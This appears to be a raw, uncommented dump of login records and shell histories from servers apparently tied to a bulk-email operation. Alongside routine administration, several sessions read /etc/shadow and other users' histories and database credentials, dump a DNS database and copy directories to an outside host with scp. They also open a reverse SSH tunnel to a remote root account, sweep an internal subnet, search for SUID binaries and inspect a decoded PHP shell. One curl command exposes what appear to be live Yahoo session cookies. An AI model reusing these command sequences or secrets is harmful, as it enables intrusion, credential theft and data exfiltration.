admin    pts/1        cpe-24-160-52-17 Fri Dec  2 07:32 - 07:43  (00:11)
admin    pts/2        cpe-24-160-49-23 Fri Oct 28 13:02 - 22:15  (09:13)
admin    pts/1        :1               Fri Oct 21 09:45 - 07:18 (41+22:33)
admin    pts/0        :1               Fri Oct 21 09:44 - 07:43 (41+22:59)
admin    pts/0        66.165.231.123   Tue Oct 11 12:54 - 10:38  (21:43)
admin    pts/0        :1               Tue Oct 11 12:09 - 12:10  (00:00)
(unknown :0           :0               Tue Oct 11 12:09 - 07:43 (51+20:34)
reboot   system boot  3.10.0-327.36.1. Tue Oct 11 12:08 - 07:43 (51+20:34)
```

```
admin    pts/0        66.165.231.121   Tue Oct 11 11:53 - 12:07  (00:13)
(unknown :0           :0               Tue Oct 11 11:46 - 12:07  (00:21)
reboot   system boot  3.10.0-327.36.1. Tue Oct 11 11:45 - 12:07  (00:21)
root     pts/0        66.165.231.121   Tue Oct 11 11:06 - down   (00:02)
(unknown :0           :0               Tue Oct 11 11:02 - 11:08  (00:06)
reboot   system boot  3.10.0-327.36.1. Tue Oct 11 12:24 - 11:08  (-1:-15)
admin    :0           :0               Tue Oct 11 12:08 - 12:23  (00:14)
(unknown :0           :0               Tue Oct 11 12:07 - 12:08  (00:00)
root     pts/0        66.165.231.121   Tue Oct 11 11:50 - crash  (00:33)
reboot   system boot  3.10.0-327.el7.x Tue Oct 11 11:44 - 11:08  (00:-35)
```

66.165.231.80

```
  880  scp -Cr ./* john@54.67.124.187:/mnt/tmp/xr/
  881  exit
  882  cd /
  883  cd /root
  884  ls -la
  885  cat ./commands.txt
  886  cat ./.my.cnf
  887  ls -la
  888  cat ./.bash_history
  889  cd /home
  890  ls
  891  cd xr
  892  ls -la
  893  cd for-tony
  894  ls
  895  ls -la
  896  cat mxleads-hurricane-dicksmasher.php
  897  cd ..
  898  ls
  899  scp -Cr ./* john@54.67.124.187:/mnt/tmp/xr/
  900  sudo su
  901  scp -Cr ./* john@54.67.124.187:/mnt/tmp/xr/
  902  ls
  903  cd ..
  904  ls
  905  cd ..
  906  ls
  907  cd vroot
  908  ls
  909  cd ..
  910  cd tmp
  911  ls
  912  cd ..
  913  cd var
  914  ls
  915  cd ..
  916  mysql -uroot -p
  917  cd tmp
  918  mysql -uroot -p
  919  mysqldump -uroot -p pdns > ./pdns.sql
  920  ls
```

```
921  ls -la
922  head -50 ./pdns.sql
923  cat ./pdns.sql
924  rm ./pdns.sql
925  ls
926  cd ..
927  ls
928  cd var
929  ls
930  cd tmp
931  ls
932  cd ..
933  cd opt
934  ls
935  cd ..
936  cd ..
937  ls
938  cd sbin
939  ls
940  cd /lib
941  ls
942  cd ..
943  ls
944  cd usr
945  ls
946  cd lib
947  ls
948  cd /
949  ls
950  cd home
951  cd xr
952  ls -la
953  cd ..
954  ls
955  cd ..
956  ls
957  cd lib64
958  ls
959  cd ..
960  ls
961  cd opt
962  ls
963  cd ..
964  cd mnt
965  ls
966  cd ..
967  cd root
968  ls
969  cd ..
970  ls
971  cd var
972  cd logs
973  ls
```

```
  974  cd log
  975  ls
  976  head -25 ./secure
  977  cd squid
  978  ls
  979  cat -25 ./access.log
  980  head -25 ./access.log
  981  ls -l
  982  head -25 ./cache.log
  983  cd /etc
  984  ls
  985  cat ./hostname
  986  cat ./shadow
  987  cd pdns
  988  ls
  989  cat ./pdns.conf
  990  ls
  991  ls -l
  992  cat ./pdns_mysql.sql
  993  scp -C ./* john@54.67.124.187:/mnt/tmp/pdns/
  994  ls
  995  cd ..
  996  ls
  997  cat ./lftp.conf
  998  exit
  999  hisotry
 1000  exit
 1001  history
```

66.165.231.67

```
 727  ssh -N -T -R 22222:127.0.0.1:22 root@104.200.154.101
```

```
    1  yum update -y
    2  echo 'admin ALL=(ALL) NOPASSWD: ALL' >> /etc/sudoers
    3  useradd admin
    4  passwd admin
    5  vi /etc/ssh/sshd_config
    6  service sshd reload
    7  firewall-cmd --permanent --remove-service=dhcpv6-client
    8   firewall-cmd --permanent --add-service=ssh
    9   firewall-cmd --permanent --add-port=10050/tcp
   10  systemctl reload firewalld
   11  echo 'root: tech@rivercitymediaonline.com' >> /etc/aliases
   12  newaliases
   13  sed -i 's/enforcing$/permissive/' /etc/selinux/config
   14  setenforce 0
   15  yum install epel-release
   16  rpm --import http://apt.sw.be/RPM-GPG-KEY.dag.txt
   17  rpm -ivh http://pkgs.repoforge.org/rpmforge-release/rpmforge-release-0.5.3-1.el7.rf.x86_64.rpm
   18  yum install deltarpm
   19  for i in /etc/pki/rpm-gpg/RPM-GPG-KEY-*; do rpm --import $i; done
   20  yum clean all
   21  yum update
   22   yum install rsync mlocate ntpdate gcc-c++ patch readline-devel zlib-devel libyaml-devel libffi-devel openssl-devel make autoconf automake libtool bison perl-DBI perl-DBD-MySQL perl-Digest-SHA perl-ExtUtils-ParseXS perl-devel perl-CPAN rsyslog lftp telnet zabbix20-agent cronie denyhosts unix2dos dos2unix man psutils yum-cron bc
   23  systemctl start denyhosts
   24  systemctl enable denyhosts
   25  updatedb
   26  vi /etc/rsyslog.conf
   27  service rsyslog restart
   28  vi /etc/ntp.conf
   29  systemctl enable ntpdate
   30  systemctl start ntpdate
   31  systemctl enable crond
   32  systemctl start crond
   33  reboot
   34  yum update -y
   35  df -H
   36  free -g
   37  exit
   38  df -H
   39  history
   40  vi /etc/hostname
   41  vi /etc/zabbix_agentd.conf
   42  systemctl enable zabbix-agent
   43  systemctl start zabbix-agent
   44  yum groupinstall "Server with GUI"
   45  systemctl set-default graphical.target
   46  systemctl start graphical.target
   47  yum install -y tigervnc-server
   48  cp /lib/systemd/system/vncserver@.service /etc/systemd/system/vncserver@:1.service
   49  vi /etc/systemd/system/vncserver@:1.service
   50  firewall-cmd --permanent --zone=public --add-service vnc-server
   51  firewall-cmd --reload
   52  su - admin
   53  systemctl daemon-reload
   54  systemctl enable vncserver@:1.service
   55  systemctl start vncserver@:1.service
   56  cd /etc/yum.repos.d
   57  wget http://download.virtualbox.org/virtualbox/rpm/rhel/virtualbox.repo
   58  yum --enablerepo rpmforge install dkms
   59  yum groupinstall "Development Tools"
   60  yum install kernel-devel
   61  yum install VirtualBox-5.0
   62  usermod -a -G vboxusers admin
   63  yum update -y
   64  reboot
   65   vi /etc/sysconfig/network-scripts/ifcfg-eno1
   66  reboot
   67  mkdir /images
   68  chown admin:admin /images
   69  ls -ll /images/
   70  ls -ll /images
   71  cd /images/
   72  ls
```

```
 73  ls -ll
 74  exit
 75  exit
 76  service deny.hosts status
 77  history
 78  service deny.hosts start
 79  systemctl enable deny.hosts
 80  systemctl enable denyhosts
 81  systemctl start denyhosts
 82  yum clean all
 83  yum update
 84  cd /etc/yum.repos.d/
 85  ls
 86  cat CentOS-Base.repo
 87  ls
 88  cat CentOS-CR.repo
 89  ls
 90  cat CentOS-Debuginfo.repo
 91  cat CentOS-fasttrack.repo
 92  cat CentOS-Sources.repo
 93  cat CentOS-Vault.repo
 94  cd
 95  cat /etc/resolv.conf
 96  exit
 97  procinfo
 98  /proc/cpuinfo
 99  less /proc/cpuinfo
100  !
101  cat /proc/cpuinfo | grep 'core id'
102  cat /proc/meminfo
103  free -g
104  dmesg | grep mem
105  dmesg | grep Kingston
106  dmesg | grep G
107  dmesg | grep ram
108  dmesg | grep -i memory
109  dmesg | grep -i kingston
110  dmesg | grep -i micron
111  dmesg | grep -i crucial
112  dmesg | grep -i asus
113  dmesg | grep -i super
114  dmesg | grep -i mhz
115  dmesg | grep -i ddr
116  dmesg | grep -i ddr3
117  dmesg | grep -i non
118  dmesg | grep -i ecc
119  uptime
120  fdisk -l
121  df -H
122  du -sh /images/
123  df -h
124  yum install mdadm
125  mdadm -E /dev/sd[b-c]
```

```
126 mdadm --zero-superblock /dev/sdb
127 ls /dev
128 mdadm --zero-superblock /dev/sdb1
129 fdisk -l /dev/sdb
130 fdisk -l /dev/sdc
131 mdadm -E /dev/sd[b-c]
132 fdisk /dev/sdb
133 fdisk /dev/sdc
134 mdadm -E /dev/sd[b-c]
135 mdadm --create /dev/md0 --level=mirror --raid-devices=2 /dev/sd[b-c]1
136 cat /proc/mdstat
137 mdadm -E /dev/sd[b-c]1
138 mdadm --detail /dev/md0
139 mkfs.ext4 /dev/md0
140 ls /
141 ls /mnt/
142 mkdir /mnt/raid1
143 mount /dev/md0 /mnt/raid1/
144 df -h
145 touch /mnt/raid1/somefile
146 cat > /mnt/raid1/somefile
147 cat /mnt/raid1/somefile
148 rm /mnt/raid1/somefile
149 ll /mnt/raid1/somefile
150 ll /mnt/raid1/
151 cat /proc/mdstat
152 vim /etc/fstab
153 mount -av
154 mdadm --detail --scan --verbose >> /etc/mdadm.conf
155 cat /etc/mdadm.conf
156 mdadm --detail /dev/md0
157 mkdir /mnt/raid1/images
158 chown -R admin: /mnt/raid1/images
159 ll /mnt/raid1/images
160 ll /mnt/raid1/
161 ll /images/
162 mv /images/LiveFeed /mnt/raid1/images/
163 ls /images/
164 ls /mnt/raid1/images/
165 ll /mnt/raid1/images/
166 rmdir /images/
167 ln -s /mnt/raid1/images/ /images
168 ll
169 ll /
170 chown --help
171 chown -h admin: /images/
172 ll
173 ll /
174 cd /images
175 ll
176 df -h
177 uname -m
178 exit
```

```
179  tail /var/log/messages
180  vim /var/log/messages
181  setenforce 0
182  cd /var/log
183  ls
184  df -h
185  /home/admin/bin/dropbox.py status
186  ps fax
187  service dropbox status
188  service dropbox stop
189  service dropbox status
190  exit
191  service dropbox start
192  ps fax
193  exit
194  tail /var/log/audit/audit.log
195  tail -F /var/log/messages
196  grep zabbix_agentd /var/log/audit/audit.log | audit2allow -M mypol
197  semodule -i mypol.pp
198  tail -F /var/log/messages
199  exit
200  service tiger-vnc status
201  firewall-cmd --permanent --zone=public --add-service vnc-server
202  firewall-cmd --reload
203  systemctl enable vncserver@:1.service
204  systemctl start vncserver@:1.service
205  systemctl set-default graphical.target
206  reboot
207  vi /etc/rsyncd.conf
208  mount
209  df -h
210  vi /etc/rsyncd.conf
211  systemctl restart rsyncd
212  tail /var/log/messages
213  firewall-cmd --list-all
214  firewall-cmd --permanent --add-service=rsyncd
215  firewall-cmd --reload
216  firewall-cmd --list-all
217  cd /home/admin
218  ls
219  cd Dropbox/
220  ls
221  ls -l
222  ls
223  pwd
224  cd campaigns/
225  cd phprefer
226  ls
227  cd scripts
228  ls
229  ls -l
230  cat rsync_campaigns.rb
231  df -h
```

```
 232  ls /mnt/raid1
 233  tail /var/log/messages
 234  getenforce
 235  tail /var/log/messages
 236  restorecon -v '.dropbox'
 237  restorecon -v /home/admin/Dropbox/.dropbox
 238  tail -f /var/log/messages
 239  cat /etc/selinux/config
 240  cd /etc/sysconfig/network-scripts/-s
 241  cd /etc/sysconfig/network-scripts/
 242  ls
 243  cat ifcfg-eno2
 244  ping 10.16.32.1
 245  vi ifcfg-eno2
 246  service network restart
 247  ping 10.16.32.1
 248  exit
 249  grep rsync /var/log/audit/audit.log | audit2allow -M mypol
 250  ls
 251  semodule -i mypol.pp
 252  ip addr
 253  cd /images/Internal-FTP/
 254  ls
 255  exit
 256  systemctl enable rsyncd
 257  systemctl start rsyncd
 258  rsync -av --delete /mnt/raid1/External_FTP/ "10.16.32.239::backups/Dropbox/External_FTP" --dry-run
 259  ip addr
 260  nmtui
 261  ip up eno2
 262  ip link en02
 263  ip link eno2
 264  ip addr
 265  ip link set eno2 up
 266  ip addr
 267  dmesg
 268  tail /var/log/messages
 269  date
 270  tail /var/log/messages
 271  ip addr
 272  ping 10.16.32.66
 273  rsync -av --delete /mnt/raid1/External_FTP/ "10.16.32.239::backups/Dropbox/External_FTP" --dry-run
 274  rsync -av --delete /home/admin/Dropbox/ "10.16.32.239::backups/Dropbox/Dropbox"; rsync -av --delete
/mnt/raid1/Internal_FTP/ "10.16.32.239::backups/Dropbox/Internal_FTP" --dry-run
 275  rsync -av --delete --exclude=.dropbox.cache /home/admin/Dropbox/ "10.16.32.239::backups/Dropbox/Dropbox" --dry-
run; rsync -av --delete --exclude=.dropbox.cache /mnt/raid1/Internal_FTP/ "10.16.32.239::backups/Dropbox/Internal_FTP" --dry-
 276  rsync -av --delete --exclude=.dropbox.cache /home/admin/Dropbox/ "10.16.32.239::backups/Dropbox/Dropbox" --dry-
 277  vi /etc/crontab
 278   ls
 279  cd /saved/or
 280  cd /saved
 281  ls
 282  w
```

```
283  cd /home/admin/
284  ls
285  locate FTPRoot
286  cd Dropbox
287  cd FTPRoot
288  cd Lists
289  ls
290  ls  | grep S7VS
291  for i in *S7VS*; do ls -l $i; done
292  for i in *S7VS*; do rm -rf $i; done
293  ls -l
294  pwd
295  df -h
296  cd /var/www/li
297  cd /home/admin/
298  ls
299  cd Dropbox
300  ls
301  ls -l
302  du -h campaigns
303  ls -ltr
304  rm campaigns.tgz
305  tar cvzf campaigns.tgz campaigns
306  ls -l
307  scp campaigns.tgz root@103.22.161.2:
308  ls
309  mv campaigns.tgz /home/admin
310  cd /home/admin
311  ls
312  ls -l
313  chown admin:admin campaigns.tgz
314  cd /home/admin/Dropbox/
315  ls
316  cd FTPRoot
317  ls
318  pwd
319  cd Users
320  cd ..
321  ls -l
322  cd ..
323  ls
324  ls -l
325  locate External_FTP
326  cd Dropbox
327  ls
328  ls -l
329  ls FTPRoot
330  ls
331  updatedb
332  locate External
333  cat /etc/crontab
334  cd /mnt/raid1
335  ls
```

```
336  cd External_FTP/
337  ls
338  ls -l
339  cd Users
340  cd ..
341  cd Internal_FTP/
342  cd Useres
343  cd Users
344  cd Mike
345  du -h .
346  du -h --max-depth=1 .
347  ls from.steve
348  rm -rf from.steve AOL\ New\ Data\ 10.23.12 Lifetime\ Lists Mike\ New\ Source\ Files Master\ Lists
349  ls -l
350  du -h .
351  cd /mnt/raid1
352  ls
353  cd Internal_FTP/
354  ls
355  cd Users
356  du -h Tony
357  ls
358  du -h tony
359  du -h mike
360  du -h Mike
361  cd Mike
362  ls -l
363  rm -rf C3 CyntrixWork/ FBLS Hotmail\ Opt\ In\ Compare Verify\ Gmail\ 18-Million.invalid2.* missingOPTin smsoptin t1
364  du -h .
365  ls -l
366  cat /etc/redhat-release
367  exit
368  reboot
369  cd /var/www/lig
370  locate campaigns
371  cd /home/admin/Dropbox/campaigns
372  ls
373  ls -l
374  mv rcm_index.php rcm_index.php.disabled
375  mv index.htm index.htm.disabled
376  grep init.php *
377  ls -l *.php
378  for i in *.php; do
379  vi resetcache
380  vi resetcache.php
381  ls -l
382  for a in *.php; do mv $a $a.disabled; done
383  vi /etc/crontab
384  history
385  service tiger-vnc status
386  systemctl status vncserver@1.service
387  ps fax
388  ps fax | grep xvnc
```

```
389  systemctl start vncserver@1.service
390  journalctl -xe
391  grep zabbix_agentd /var/log/audit/audit.log | audit2allow -M mypol
392  semodule -i mypol.pp
393  systemctl start vncserver@1.service
394  systemctl status vncserver@1.service
395  journalctl -xe
396  exit
397  df -h
398  cd /
399  du -h --max-depth=1 .
400  cd mnt
401  du -h .
402  df -h
403  ls
404  cd raid1/
405  ls
406  du -h --max-depth=1 .
407  ls images
408  du -h images/DB-LL-Test/
409  df -h
410  fdisk -l
411  df -H
412  exit
413  cd /var/log
414  ls -ltr
415  du -h --max-depth=1 .
416  cd ..
417  df -h
418  cd /
419  du -h --max-depth=1 .
420  df -h /home
421  cd /home
422  du -h --max-depth=1 .
423  cd admin/
424  du -h --max-depth=1 .
425  cd Dropbox
426  du -h --max-depth=1 .
427  cd FTPRoot/
428  du -h --max-depth=1 .
429  cd Lists
430  du -h --max-depth=1 .
431  cd 365days/
432  ls
433  du -h --max-depth=1 .
434  cd Cloudmark/
435  du -h --max-depth=1 .
436  cd Locations/
437  ls -ltr
438  ls -ltr | more
439  ps auxwww | grep Dropbo
440  cat /etc/crontab
441  ls
```

```
442 ls -l | more
443 cd ..
444 find . -name 20160*.zip
445 find . -name 20160[1-6].zip
446 find . -name 201601.zip
447 find . -name 20160[1-6]*.zip
448 find . -name 20160[1-6]*.zip -delete
449 df -h
450 cd ..
451 find . -name 20160[1-6]*.zip -delete
452 find . -name 20160[1-6]*.zip
453 df -h
454 df -H
455 cd /
456 ls
457 cd ~/Dropbox
458 exit
459 cd /home/admin
460 ls
461 ls -l
462 cd Dropbox
463 ls
464 ls -l
465 du -h campaign
466 du -h campaigns
467 find campaigns
468 find campaigns -type f | wc -l
469 cd /
470 ls
471 ls -l
472 ps auxwww | grep FTP
473 cd /home/admin/Dropbox/Dropbox
474 cd /home/admin
475 ls
476 cd Public
477 ls
478 cd ..
479 find . -name Internal_FTP
480 find . -name Internal
481 cd /mnt/raid1
482 ls
483 cd Internal_FTP/
484 ls
485 ls -l
486 cd Uesrs
487 cd Users
488 ls
489 du -h Alvin-OLD
490 ls -l Alvin-OLD | wc -l
491 cd Alvin-Old
492 cd Alvin-OLD/
493 find .
494 find . | more
```

```
495  find . | wc -l
496  du -h --max-depth=1 .
497  du -h --max-depth=1 . | grep G
498  ls YahooBulk
499  ls YahooBulk/
500  vi /etc/ssh/sshd_config
501  systemctl reload sshd
502  cd /home/admin/
503  ls
504  cd Dropbox/
505  ls
506  cd FTPRoot
507  ls
508  ls -l
509  cd ..
510  locate External_FTP
511  ls
512  pwd
513  locate Alvin
514  cd /mnt/raid1/Internal_FTP/
515  ls
516  cd Users
517  locate xmailer
518  locate wordlist
519  cp /home/admin/Dropbox/FTPRoot/xmailer.zip ~
520  ls
521  unzip xmailer.zip
522  cd xmailer/
523  ls
524  ls -l
525  cat wordslist.txt
526  exit
527  ls
528  cat mypol.pp
529  cat initial-setup-ks.cfg
530  ls
531  cd /home
532  ls
533  cd admin
534  ls
535  cd downloads
536  ls
537  cd Downloads
538  ls
539  cd ..
540  cd bin
541  ls
542  cd ..
543  cd Pictures
544  ls
545  cd /
546  ls
547  cd opt
```

```
548 ls
549 cd rh
550 ls
551 cd /tmp
552 ls
553 xwin --help
554 cat /home/admin/.bash_history
555 cat /root/.bash_history
556 cd /
557 ls
558 cd mnt
559 ls
560 cd raid1
561 ls
562 cd Internal_FTP
563 ls
564 cd Users
565 ls
566 ls -la
567 cat "accounts 9.2.txt"
568 ls
569 cd Alvin
570 ls
571 cd Yahoo
572 ls
573 cd ..
574 ls
575 cd Jim
576 cd ..
577 cd Jim
578 ls
579 cd Accounts
580 ls
581 cd ..
582 cd "server transer"
583 ls
584 cd ..
585 cd
586 ls
587 cd
588 cd /
589 cd
590 cd /
591 ls
592 cd opt
593 ls
594 cd /var
595 ls
596 cd opt
597 ls
598 cd ..
599 cd log
600 ls
```

```
601  cd samba
602  ls
603  cd old
604  ls
605  cd ..
606  cd pluto
607  ls
608  cd peer
609  ls
610  cd ..
611  cd sa
612  ls
613  ls -la
614  cat sa01
615  cd ..
616  ls
617  ls -la
618  head -25 maillog-20170109
619  head -100 maillog-20170109
620  ssh admin@vHost01
621  ssh admin@vHost01.localdomain
622  netstat -l
623  telnet localhost 37116
624  ping 10.16.32.75
625  ping 10.16.32.80
626  ping 10.16.32.240
627  ssh admin@10.16.32.240
628  ping 10.16.32.254
629  ping 10.16.32.250
630  ping 10.0.32.14
631  ping 10.0.0.14
632  ping 10.16.32.64
633  ping 10.16.32.90
634  ping 10.16.32.95
635  ping 10.16.32.100
636  nmap --help
637  fping
638  for i in {1..254}; do ping -c 1 10.16.32.0.$i | grep 'from'; done
639  for i in {1..254}; do ping -c 1 10.16.32.$i | grep 'from'; done
640  ssh admin@10.16.32.1
641  ssh -vvv admin@10.16.32.1
642  ssh -vvvvvvvv admin@10.16.32.1
643  ssh -vvvvvvvv admin@10.16.32.21
644  ssh -vvvvvvvv admin@10.16.32.91
645  ssh -vvvvvvvv admin@10.16.32.92
646  ssh -vvvvvvvv admin@10.16.32.96
647  ssh -vvvvvvvv admin@10.16.32.97
648  ssh -vvvvvvvv admin@10.16.32.123
649  ssh -vvvvvvvv admin@10.16.32.180
650  ssh admin@serverhub001
651  cat /etc/resolv.conf
652  ping vHost69
653  ssh admin@vHost66
```

```
654 exit
655 ls
656 cd /home/admin/.vnc
657 ls
658 cat passwd
659 cat xstartup
660 ./xstartup
661 cat ./vHost67\:1.log
662 ping 172.245.173.133:
663 ping 172.245.173.133
664 ssh -vvvv admin@172.245.173.133:
665 ssh -vvvv admin@172.245.173.133
666 ls
667 ssh admin@10.16.32.69
668 echo $DISPLAY
669 xterm
670 cat ./.esd_auth
671 cd Public
672 ls
673 cd /
674 ls
675 cat /home/admin/.viminfo
676 vncviewer
677 vnc
678 tightvnc
679 cd /root
680 ls
681 cat mypol.pp
682 cat mypol.te
683 locate rhosts
684 find / -perm -4000
685 cd /dev
686 ls
687 cd mnt
688 ls
689 cd /mnt
690 ls
691 cd raid1
692 ls
693 cd ..
694 mount -o ro, /dev/sdc /mnt/2
695 mkdir 2
696 mount -o ro, /dev/sdc /mnt/2
697 mount -o ro, /dev/sdc1 /mnt/2
698 mount -o ro, /dev/sdb1 /mnt/2
699 mount -o ro, /dev/sdb /mnt/2
700 mount -o ro, /dev/sda3 /mnt/2
701 mount -o ro, /dev/sda2 /mnt/2
702 mount -o ro, /dev/sda1 /mnt/2
703 mount -o ro, /dev/sda /mnt/2
704 mount -o ro, /dev/md0 /mnt/2
705 ls
706 rm -rf ./2
```

```
  707  ls
  708  cd ..
  709  ls
  710  cd tmp
  711  ls
  712  cd ssh-QHxt1AziEksA/
  713  ls
  714  cat agent.653
  715  ls
  716  ls -la
  717  locate vnc
  718  Xvnc
  719  DISPLAY=:0 /bin/bash
  720  ls
  721  cat ./mypol.pp
  722  cd xmailer
  723  ls
  724  ls -la
  725  cat ipsettings.xmr
  726  ssh admin@104.200.154.101
  727  ssh -N -T -R 22222:127.0.0.1:22 root@104.200.154.101

--------------------------------------------------------
66.165.231.123
--------------------------------------------------------

cat known_hosts
ssh -i "/home/tunnel/.ssh/id_rsa" tunnel@66.165.231.50
cd /root
ls
ls -la
cat ./somefile
ssh admin@66.165.231.50
ls
cd /home
ls
cd images
ls
cd /home/tunnel
ls
ls -la
cd ./.ssh
ls
nautilus
exit
nautilus
tcpdump -q
who
ssh -v admin@159.118.139.12
ssh -v admin@66.165.247.21
ls -la
mysql -uroot -p
mysql -uroot
```

```
cd /etc
ls
cat ./my.cnf
cd /home/admin
ls
ls -la
cd mnt
ls
cd ..
mount -a
mount
cd Dropbox
ls
cd /root
ls -la
cd /home/admin/Dropbox
ls
ls -la
cd RVR_INTEL
ls
ls -la
head -50 mac_fuckery.txt
cat bot-guard-protection-b64.txt
cat rsa2.key
cat mac-me.txt
ls
ls -la
cd ..
ls
cd RVR_INTEL
cd ..
ls -la
cd RVR_INTEL
ls
cd ..
ls -la
cd RVR_INTEL
ls
cd Mac_Me_iCloud/
ls -la
cd ..
ls
cd ..
ls
cd mailing
ls
ls -la
cd ..
ls
cd tmp
ls
cd ..
ls
```

```
netstat -l
netstat
tcpdump
cd usr
cd /
cd usr
ls
cd local
ls
cd share
ls
cd info
ls
cd ..
cd lib
ls
cd ..
cd lib
ls
cd ..
cd etc
ls
cd ..
ls
cd src
ls
cd ..
ls
cd src
ls
cd ..
cd tmp
ls
cd ..
ls
cd /var
ls
cd local
ls
cd ..
cd www
ls
cd /
ls
cd home
ls
cd /home/admin
ls
cd src
ls
cd tunnels
ls
cd ..
cd hackershit
ls
ls -la
head -50 ./casus_shell-decoded.php
cd ..
ls
cd /usr
cd local
cd src
ls
cd /home/admin
ls
cd mnt
ls
cd ..
cd tmp
ls
la -la
ls -la
cat ips.txt
ls -la
cd ..
ls -la
cat ./.mysql_history
```

```
curl
'https://smallbusiness.yahoo.com/catalogmgr/product/_module/?ysbparams=eyJhcHBpZCI6ImNhdGFsb2ctbWFuYWdlciIsImJpe
mlkIjoieXMtMTQxNDE0ODMyMjY2MzM0IiwiYml6dXJsIjoiaHR0cDovL3lzLTE0MTQxNDgzMjI2NjMzNC55YWhvb3N0b3JlLmNvbSIsI
mxhbmciOiJlbi11cyJ9&crumb=Ia1Y0v2rr.E&&action=get_products&sortby=update_time&sortorder=asc&rowsperpage=10&star
trow=1&endrow=-1' -H 'Pragma: no-cache' -H 'Accept-Encoding: gzip, deflate, sdch' -H 'Accept-Language: en-US,en;q=0.8' -H
'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85
Safari/537.36' -H 'Accept: */*' -H 'Referer: https://smallbusiness.yahoo.com/catalogmgr/product/?bizid=ys-
141414832266334&ysbparams=eyJhcHBpZCI6ImNhdGFsb2ctbWFuYWdlciIsImJpemlkIjoieXMtMTQxNDE0ODMyMjY2MzM0IiwiY
ml6dXJsIjoiaHR0cDovL3lzLTE0MTQxNDgzMjI2NjMzNC55YWhvb3N0b3JlLmNvbSIsImxhbmciOiJlbi11cyJ9&yid=all.fishing&appid=c
atalog-manager&bizurl=http%253A%252F%252Fys-141414832266334.yahoostore.com&lang=en-
us&timestamp=1442001878.453&signature=0b91286217608d9e3109241342630756089b4258' -H 'X-Requested-With:
XMLHttpRequest' -H 'Cookie: AO=u=1; YLS=v=1&p=1&n=1;
V=v=0.7&m=0&ccOptions=%7B%22show%22%3Afalse%2C%22lang%22%3A%22en%22%2C%22fontSize%22%3A24%2C%22font
Name%22%3A%22Helvetica%20Neue%2CHelvetica%2CArial%2C_sans%22%2C%22fontColor%22%3A%22%23ffffff%22%2C%22f
ontOpacity%22%3A1%2C%22fontEffect%22%3A%22none%22%2C%22bgColor%22%3A%22%23000000%22%2C%22bgOpacity%
22%3A0.75%7D; DSS=ts=1431018180&cnt=3&sdts=1427424544881&sdtp=spigot-chr-gcmac;
AMCV_att1=MCAID%7C2AA9C9D7851D3067-4000012B201A3ACB; ucs=tr=1432222051494&fs=1;
YM=v=2&u=SuKlu5evhFLZE6vragJCSenS2XK_2EQKYe_JNQ--&d=&f=AAA&t=8h9YVB&s=j2Rw;
DK=v=2&p=OHwyMzMwfFZpcnR1YWx8RGVza3RvcCBCcm93c2VyfG1hYyBvcyB4fDEwLjEw;
ywandp=1000896321451%3A4224888094; fpc=1000896321451%3AZTEq1Wub%7C%7C;
s_pers=%20s_vnum%3D1441080000741%2526vn%253D1%7C1441080000741%3B%20s_nr%3D1440460369199-
Repeat%7C1443052369199%3B%20s_invisit%3Dtrue%7C1440462169202%3B%20s_lv%3D1440460369204%7C1535068369204
%3B%20s_lv_s%3DMore%2520than%25207%2520days%7C1440462169204%3B%20gpv_v17%3Dnet%257Catt.yahoo%257Cdes
ktop%7C1440462169207%3B; tos_viewed=1; HP=0; tos_accepted=1; ypcdb=754828f019b314d467f9f3e5596c5793;
tokenid=ordering31441998634824-8449987649138792750;
U=mt=ieGMxp2MhY9nP6tlqYu_weTrpH4i3uHqcohzeWIc&ux=fey8VB&un=amu33bs01s2sj; _vpx=6kVifdgn8uMn;
B=abgutrdagpf7v&b=4&d=c2Ay33NpYEJwUzhtvG0yV_cjhA_5lSko2FJbPA--&s=k1&i=I4U2pr4bFbDFP4Nvn4gg;
F=a=1qs_uzgMvSxk_G2ju88xwaC8L_aaxocyqtD0oItHRopEH1I1rdqhGB7JG_WQRgmLlHsWD_4Ui7WOu4VWdazazKRceXjZ33N4BP
yGSDvyhWeWDKGEKmV3xz6Um.cZCn.EB4Q0SbLl5fOttPaEzoydfpGDYNhCH71t2EZ5&b=LlM4; PH=fn=kfUKyottRVR994SR&i=us;
SSL=v=1&s=hH8gm8fpn2fI6uAQ4JntDyxHb.fmk_BDQVAuq_HQXnKL6bEHajmyAQTGpGN541jpAYWhx9ZhFobLuXznlq0A9A--
&kv=0;
T=z=a8y8VBaQaBWBpuriVomSohsNjM1MwY2TjY1MzAzNk4x&a=YAE&sk=DAAoVzxqy/Hx8r&ks=EAAzCeB6iJy0oipGDBBLRlgqA--
[illegible]
ls -la
cd ./.ssh
ls
cat authorized_keys
cd /root
ls
ls -la
cd ./.ssh
ls
cd /
ls
cd /root
ls
ls -la
cat somefile
who
ls -la
cd /
ls
locate xr
cd /usr
```

```
ls
cd src
ls
cd ..
cd local
ls
cd src
ls
cd ..
cd share
ls
cd man
ls
cd /
ls
cd home
ls
cd steve
ls
cd ..
cd michelle
ls
ls -la
cd ..
ls -la
cd lost+found/
ls
ls -la
cd ..
cd images
ls
ls -la
cd /root
ls
cd ./.ssh
ls
cat known_hosts
ssh admin@66.165.231.238
ssh -v admin@66.165.231.50
firefox
google-chrome
tor
cd /sbin
ls
cryptsetup
cryptsetup --usage
ssh admin@66.165.231.50
ls
./mount.ntfs-3g -a
./mount.ntfs-3g /dev/sda2 /mnt
./mount.ntfs-3g /dev/sda1 /mnt
./mount.ntfs-3g /dev/sda /mnt
./mount.ntfs-3g /dev/sr0 /mnt
```

```
ls /dev
./mount.ntfs-3g /dev/sdb /mnt
./mount.ntfs-3g /dev/sdb1 /mnt
./mount.ntfs-3g /dev/sdb2 /mnt
./mount.ntfs-3g /dev/sdb1 /mnt
fuser
fuser -c
fuser -l
fuser -c /dev/sdb1
fuser /dev/sdb1
fuser /dev/sdb2
fuser /dev/sdb
fuser -m /dev/sdb
fuser -m /dev/sdb2
fuser -m /dev/sdb1
fuser 80
fuser -v -m /dev/sdb1
fuser -v -k /dev/sdb1
./mount.ntfs-3g /dev/sdb1 /mnt
mount /dev/sdb1 /mnt
cd /mnt
ls
umount /mnt
cd ..
umount /mnt
mount /dev/sdb /mnt
mount.ntfs-3g /dev/sdb /mnt
mount.ntfs-3g /dev/sdb2 /mnt
mount /dev/sdb2 /mnt
lv
lvm
sysroot /dev/root
lvm
ls -la
cd mnt
ls
cd ..
cd /
ls
cd tmp
ls
ls -la
cat binarylogs.sql
locate xr
find xr
cd /usr
ls
cd local
ls
cd src
ls
cd ..
ls
```

```
cd etc
ls
cd sbin
ls
